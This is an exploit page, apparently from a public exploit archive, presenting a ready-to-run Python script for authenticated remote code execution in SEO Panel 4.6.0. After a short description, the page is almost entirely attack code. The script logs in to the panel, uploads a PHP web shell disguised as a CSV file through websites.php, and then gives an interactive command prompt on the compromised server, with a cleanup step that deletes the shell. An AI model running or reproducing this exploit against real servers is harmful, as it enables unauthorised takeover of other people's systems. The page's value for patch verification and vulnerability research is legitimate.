SEO Panel 4.6.0 Remote Code Execution

[Kev]

SEO Panel version 4.6.0 remote code execution exploit. Original discovery of code execution in this version is attributed to Daniel Monzon and Kiko Andreu in October of 2020.

 

# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2)
# Date: 22 Jan 2021
# Exploit Author: Kr0ff
# Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/
# Software Link: https://www.seopanel.org/spdownload/4.6.0
# Version: 4.6.0
# Tested on: Ubuntu 20.04

#!/usr/bin/env python3

'''
DESCRIPTION:
    - SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload

FIXED:
    - ver 4.7.0

AUTHOR:
    - Kr0ff
'''
#https://asciiart.website/index.php?art=animals/bats

try:
    import requests
    import argparse
    import sys
    from termcolor import colored
    from time import sleep
except ImportError as e:
    print(colored("[ERROR]: ", "red"), f"{e}")

def arty():
    artz = """
                    HAPPY HALLOWEEN !
    ....._
     `.   ``-.                               .-----.._
       `,     `-.                          .:      /`
         :       `"..                 ..-``       :
         /   ...--:::`n            n.`::...       :
         `:``      .` ::          /  `.     ``---..:.
           `\    .`  ._:   .-:   ::    `.     .-``
             :  :    :_\\_/: :  .::      `.  /
             : /      \-../:/_.`-`         \ :
             :: _.._  q` p ` /`             \|
             :-`    ``(_. ..-----hh``````/-._:
                         `:      ``     /     `
                         E:            /
                          :          _/
                          :    _..-``
                          l--``
----------------------------------------------------------
                             _
 ___ ___ ___ ___  __ ___ ___| |___ ___ ___
|_ -| -_| . | . ||. |   | -_| |  _|  _| -_|
|___|___|___|  _|___|_|_|___|_|_| |___|___|
            |_|                       4.6.0

@Kr0ff
----------------------------------------------------------
"""
    print(artz)

#Initialize requests to create a session
r = requests.session()

#Create a login for the user
def login(TARGET, USER, PASS):
    data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""}
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False)
    if req.status_code == 200:
        print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n")
    else:
        print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n")
        print("Please check if you are providing the right path to 'seopanel' or if server is live...")
    get_ch = req.headers.get("Set-Cookie")
    return get_ch

#Upload the webshell to target server
def exploit(TARGET, USER, PASS):
    login(TARGET, USER, PASS)
    headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"
    req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False)
    if req0.status_code == 200:
        print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
    else:
        print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n")
        print("Please check if you are providing the right path or if server is live...")

    while(1):
        try:
            p = input("$> ")
            shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}"
            control = r.get(shell_url, headers=headers, verify=False)
            if control.status_code == 200:
                print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n")
                print(control.text)
            else:
                print(colored("[ERROR]","red"), "Shell not uploaded... :(")
                print("Status code ->", colored(control.status_code, "red"))
                sys.exit(0)
        except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec
            cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php"
            requests.get(cleanup, headers=headers, verify=False)
            sleep(1)
            print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !")
            break

#Initilize parser for arguments
def parse_argz():
    parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload')
    parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str)
    parser.add_argument("-u", "--user", help="Username to login as", type=str)
    parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str)
    #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
    args = parser.parse_args(args=None)

    if not args.target or not args.user or not args.passwd:
        parser.error(colored("[WARNING]","yellow"), "Not all arguments provided")
        sys.exit(1)
    else:
        TARGET = str(args.target)
        USER = str(args.user)
        PASS = str(args.passwd)
        exploit(TARGET, USER, PASS)

if __name__ == "__main__":
    try:
        arty()
        parse_argz()
    except Exception as e:
        print(colored("[ERROR]","red"), f"-> {e}")
        sys.exit(1)
            

 

Source